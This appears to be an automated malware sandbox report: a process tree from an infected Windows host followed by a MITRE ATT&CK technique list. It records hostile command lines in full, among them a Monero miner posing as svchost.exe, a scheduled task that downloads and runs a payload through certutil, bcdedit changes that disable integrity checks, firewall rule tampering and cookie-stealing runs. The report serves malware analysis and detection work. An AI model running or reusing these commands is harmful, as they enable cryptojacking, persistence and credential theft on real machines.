C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3320 /prefetch:8
20⤵
PID:5732

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4056 /prefetch:8
20⤵
PID:5456

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4496 /prefetch:8
20⤵
PID:2688

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5276 /prefetch:8
20⤵
PID:4656

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3636 /prefetch:8
20⤵
PID:6844

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4864 /prefetch:8
20⤵
PID:4040

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4348 /prefetch:8
20⤵
PID:4904

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=40 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3300 /prefetch:1
20⤵
PID:1192

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3964 /prefetch:8
20⤵
PID:4124

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5656 /prefetch:8
20⤵
PID:4872

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4188 /prefetch:8
20⤵
PID:6908

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5828 /prefetch:8
20⤵
PID:7020

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4208 /prefetch:8
20⤵
PID:6568

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5512 /prefetch:8
20⤵
PID:6296

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5484 /prefetch:8
20⤵
PID:4796

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5736 /prefetch:8
20⤵
PID:5348

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=49 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4188 /prefetch:1
20⤵
PID:756

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3772 /prefetch:8
20⤵
PID:1856

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4124 /prefetch:8
20⤵
PID:6776

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6116 /prefetch:8
20⤵
PID:4816

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6300 /prefetch:8
20⤵
PID:6904

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=54 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4864 /prefetch:1
20⤵
PID:4604

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6304 /prefetch:8
20⤵
PID:5612

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6332 /prefetch:8
20⤵
PID:4388

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1596 /prefetch:8
20⤵
PID:5580

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --gpu-preferences=MAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAIAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=3880 /prefetch:2
20⤵
PID:6432

C:\Windows\regedit.exe
regedit /s chrome-set.reg
16⤵
- Runs .reg file with regedit
PID:6992

C:\Users\Admin\AppData\Local\Temp\RarSFX3\parse.exe
parse.exe -f json -b firefox
16⤵
PID:6076

C:\Users\Admin\AppData\Local\Temp\RarSFX3\parse.exe
parse.exe -f json -b chrome
16⤵
PID:6780

C:\Users\Admin\AppData\Local\Temp\RarSFX3\parse.exe
parse.exe -f json -b edge
16⤵
PID:6996

C:\Users\Admin\AppData\Local\Temp\is-G56G1.tmp\DataFinder.exe
"C:\Users\Admin\AppData\Local\Temp\is-G56G1.tmp\DataFinder.exe" /Verysilent
12⤵
PID:1968

C:\Users\Admin\Services.exe
"C:\Users\Admin\Services.exe"
13⤵
PID:4748

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -B --coin=monero --asm=auto --cpu-memory-pool=-1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-us-east1.nanopool.org:14433 --user=42Lm2CeGer8hubckgimBBXhKWRnZqtLx74Ye2HcyMyikARReDxWRn15Bia1k8qgnboPNxEZJHN5HgX8eNa1EP7xeA3X8Z7s --pass= --cpu-max-threads-hint=50 --donate-level=5 --unam-idle-wait=5 --unam-idle-cpu=0 --nicehash --tls --unam-stealth
14⤵
PID:7080

C:\Users\Admin\AppData\Local\Temp\is-G56G1.tmp\Delta.exe
"C:\Users\Admin\AppData\Local\Temp\is-G56G1.tmp\Delta.exe" /Verysilent
12⤵
PID:6276

C:\Users\Admin\AppData\Local\Temp\is-HJJIN.tmp\Delta.tmp
"C:\Users\Admin\AppData\Local\Temp\is-HJJIN.tmp\Delta.tmp" /SL5="$5042A,898740,56832,C:\Users\Admin\AppData\Local\Temp\is-G56G1.tmp\Delta.exe" /Verysilent
13⤵
PID:7056

C:\Users\Admin\AppData\Local\Temp\is-IEM33.tmp\Setup.exe
"C:\Users\Admin\AppData\Local\Temp\is-IEM33.tmp\Setup.exe" /VERYSILENT
14⤵
PID:1308

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1308 -s 956
15⤵
- Program crash
PID:5432

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1308 -s 1012
15⤵
- Program crash
PID:6832

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1308 -s 1032
15⤵
- Program crash
PID:7084

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1308 -s 1156
15⤵
- Program crash
PID:3408

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1308 -s 1204
15⤵
- Program crash
PID:5632

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1308 -s 1308
15⤵
- Program crash
PID:7028

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1308 -s 1360
15⤵
- Program crash
PID:5292

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1308 -s 1576
15⤵
- Program crash
PID:5056

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1308 -s 1516
15⤵
- Program crash
PID:6556

C:\Users\Admin\AppData\Local\Temp\is-G56G1.tmp\zznote.exe
"C:\Users\Admin\AppData\Local\Temp\is-G56G1.tmp\zznote.exe" /Verysilent
12⤵
PID:5308

C:\Users\Admin\AppData\Local\Temp\is-IK3E5.tmp\zznote.tmp
"C:\Users\Admin\AppData\Local\Temp\is-IK3E5.tmp\zznote.tmp" /SL5="$404F8,138429,56832,C:\Users\Admin\AppData\Local\Temp\is-G56G1.tmp\zznote.exe" /Verysilent
13⤵
PID:4180

C:\Users\Admin\AppData\Local\Temp\is-IKE6H.tmp\jg4_4jaa.exe
"C:\Users\Admin\AppData\Local\Temp\is-IKE6H.tmp\jg4_4jaa.exe" /silent
14⤵
PID:3088

C:\Users\Admin\AppData\Local\Temp\is-G56G1.tmp\hjjgaa.exe
"C:\Users\Admin\AppData\Local\Temp\is-G56G1.tmp\hjjgaa.exe" /Verysilent
12⤵
PID:5544

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
13⤵
PID:5100

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
13⤵
PID:5144

C:\Users\Admin\AppData\Local\Temp\ufdwjmfk4h3\app.exe
"C:\Users\Admin\AppData\Local\Temp\ufdwjmfk4h3\app.exe" /8-23
8⤵
PID:4672

C:\Users\Admin\AppData\Local\Temp\ufdwjmfk4h3\app.exe
"C:\Users\Admin\AppData\Local\Temp\ufdwjmfk4h3\app.exe" /8-23
9⤵
PID:4200

C:\Windows\System32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
10⤵
PID:5000

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
11⤵
PID:6104

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe /8-23
10⤵
PID:6260

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
11⤵
- Creates scheduled task(s)
PID:3300

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
11⤵
- Creates scheduled task(s)
PID:7076

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
11⤵
PID:6008

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
12⤵
- Modifies boot configuration data using bcdedit
PID:4908

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
12⤵
- Modifies boot configuration data using bcdedit
PID:6168

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
12⤵
- Modifies boot configuration data using bcdedit
PID:5108

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
12⤵
- Modifies boot configuration data using bcdedit
PID:3108

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
12⤵
- Modifies boot configuration data using bcdedit
PID:4884

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
12⤵
- Modifies boot configuration data using bcdedit
PID:416

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
12⤵
- Modifies boot configuration data using bcdedit
PID:4600

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
12⤵
- Modifies boot configuration data using bcdedit
PID:5932

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
12⤵
- Modifies boot configuration data using bcdedit
PID:7144

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
12⤵
- Modifies boot configuration data using bcdedit
PID:6372

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
12⤵
- Modifies boot configuration data using bcdedit
PID:4324

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -timeout 0
12⤵
- Modifies boot configuration data using bcdedit
PID:5360

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
12⤵
- Modifies boot configuration data using bcdedit
PID:4884

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set bootmenupolicy legacy
12⤵
- Modifies boot configuration data using bcdedit
PID:4708

C:\Windows\System32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
11⤵
- Modifies boot configuration data using bcdedit
PID:4516

C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
11⤵
PID:5024

C:\Users\Admin\AppData\Local\Temp\ypxqwdt0hme\gtpmxj1ux3b.exe
"C:\Users\Admin\AppData\Local\Temp\ypxqwdt0hme\gtpmxj1ux3b.exe" /ustwo INSTALL
8⤵
PID:4892

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4892 -s 652
9⤵
- Program crash
PID:4448

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4892 -s 636
9⤵
- Program crash
PID:5244

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4892 -s 716
9⤵
- Program crash
PID:5372

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4892 -s 760
9⤵
- Program crash
PID:5504

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4892 -s 880
9⤵
- Program crash
PID:5764

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4892 -s 936
9⤵
- Program crash
PID:4500

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4892 -s 1176
9⤵
- Program crash
PID:5508

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4892 -s 1216
9⤵
- Program crash
PID:4344

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4892 -s 1228
9⤵
- Program crash
PID:4416

C:\Users\Admin\AppData\Local\Temp\gipg2kwb5o0\vpn.exe
"C:\Users\Admin\AppData\Local\Temp\gipg2kwb5o0\vpn.exe" /silent /subid=482
8⤵
PID:5092

C:\Users\Admin\AppData\Local\Temp\is-J0CFV.tmp\vpn.tmp
"C:\Users\Admin\AppData\Local\Temp\is-J0CFV.tmp\vpn.tmp" /SL5="$202A4,15170975,270336,C:\Users\Admin\AppData\Local\Temp\gipg2kwb5o0\vpn.exe" /silent /subid=482
9⤵
PID:4248

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "
10⤵
PID:4168

C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
tapinstall.exe remove tap0901
11⤵
PID:4192

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "
10⤵
PID:4560

C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
tapinstall.exe install OemVista.inf tap0901
11⤵
PID:5904

C:\Program Files (x86)\MaskVPN\mask_svc.exe
"C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall
10⤵
PID:6300

C:\Program Files (x86)\MaskVPN\mask_svc.exe
"C:\Program Files (x86)\MaskVPN\mask_svc.exe" install
10⤵
PID:4780

C:\Users\Admin\AppData\Local\Temp\3ltsyaykduh\IBInstaller_97039.exe
"C:\Users\Admin\AppData\Local\Temp\3ltsyaykduh\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq
8⤵
PID:4304

C:\Users\Admin\AppData\Local\Temp\is-UE267.tmp\IBInstaller_97039.tmp
"C:\Users\Admin\AppData\Local\Temp\is-UE267.tmp\IBInstaller_97039.tmp" /SL5="$103DE,14437942,721408,C:\Users\Admin\AppData\Local\Temp\3ltsyaykduh\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq
9⤵
PID:4624

C:\Users\Admin\AppData\Local\Temp\is-5C37P.tmp\{app}\chrome_proxy.exe
"C:\Users\Admin\AppData\Local\Temp\is-5C37P.tmp\{app}\chrome_proxy.exe"
10⤵
PID:4216

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /c start http://gemstrue.shop/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=97039
10⤵
PID:4920

C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe"
4⤵
- Executes dropped EXE
PID:384

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im chrome.exe
5⤵
PID:2708

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im chrome.exe
6⤵
- Kills process with taskkill
PID:3340

C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe"
4⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:372

C:\Users\Admin\AppData\Local\Temp\RarSFX2\BTRSetp.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX2\BTRSetp.exe"
4⤵
- Executes dropped EXE
PID:1824

C:\ProgramData\5997263.65
"C:\ProgramData\5997263.65"
5⤵
PID:512

C:\ProgramData\2897274.31
"C:\ProgramData\2897274.31"
5⤵
PID:4044

C:\ProgramData\Windows Host\Windows Host.exe
"C:\ProgramData\Windows Host\Windows Host.exe"
6⤵
PID:3620

C:\ProgramData\327476.3
"C:\ProgramData\327476.3"
5⤵
PID:1204

C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe"
4⤵
PID:2984

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
5⤵
PID:3676

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
5⤵
PID:4372

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1904

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding A921EECBDC8F7A6DFBE2C7A487DE43F8 C
2⤵
- Loads dropped DLL
PID:1148

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
PID:4476

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
PID:4480

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:5852

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:5496

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s seclogon
1⤵
PID:5388

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:3612

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s DeviceInstall
1⤵
PID:4084

C:\Windows\system32\DrvInst.exe
DrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{2c35b9af-4bc7-104d-a209-c05655d89c3a}\oemvista.inf" "9" "4d14a44ff" "0000000000000164" "WinSta0\Default" "0000000000000170" "208" "c:\program files (x86)\maskvpn\driver\win764"
2⤵
PID:3752

C:\Windows\system32\DrvInst.exe
DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oemvista.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "0000000000000164"
2⤵
PID:4940

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s DsmSvc
1⤵
PID:4316

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc
1⤵
PID:4836

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:5804

C:\Program Files (x86)\MaskVPN\mask_svc.exe
"C:\Program Files (x86)\MaskVPN\mask_svc.exe"
1⤵
PID:6320

C:\Program Files (x86)\MaskVPN\MaskVPNUpdate.exe
MaskVPNUpdate.exe /silent
2⤵
PID:1756

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:6364

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:3192

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Command-Line Interface

T1059

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Bootkit

T1067

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Install Root Certificate

T1130

Credential Access

Credentials in Files

T1081

Discovery

Software Discovery

T1518

Query Registry

System Information Discovery

Peripheral Device Discovery